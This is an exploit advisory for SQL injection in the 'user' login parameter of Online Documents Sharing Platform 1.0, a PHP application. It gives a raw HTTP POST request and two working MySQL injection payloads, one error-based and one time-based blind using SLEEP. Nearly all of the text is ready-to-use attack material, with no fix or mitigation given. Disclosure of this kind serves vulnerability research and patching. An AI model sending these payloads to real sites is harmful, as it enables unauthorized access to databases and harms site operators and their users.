Online Documents Sharing Platform 1.0 SQL Injection

`# Exploit Title: Online Documents Sharing Platform 1.0 - 'user' SQL Injection  
# Date: 21.01.2021  
# Exploit Author: CANKAT ÇAKMAK  
# Vendor Homepage: https://www.sourcecodester.com/php/14653/online-documents-sharing-platform-php-full-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/notes.zip  
# Version: V1.0  
# Tested on: Windows 10  
  
#Description: The 'user' parameterer is vulnerable to error-based and time-based SQL Injection.  
  
----------------------------------------------------  
  
POST /path/login.php HTTP/1.1  
Host: test.com  
Content-Length: 29  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://test.com  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://test.com/path/login.php  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
  
user=%27&pass=%27&login=login  
  
----------------------------------------------------  
  
#PoC:  
  
Parameter: user (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: user=' AND (SELECT 2047 FROM(SELECT  
COUNT(*),CONCAT(0x7176706a71,(SELECT  
(ELT(2047=2047,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NRPK&pass='&login=login  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: user=' AND (SELECT 2110 FROM (SELECT(SLEEP(5)))pSYW)--  
HnhM&pass='&login=login  
`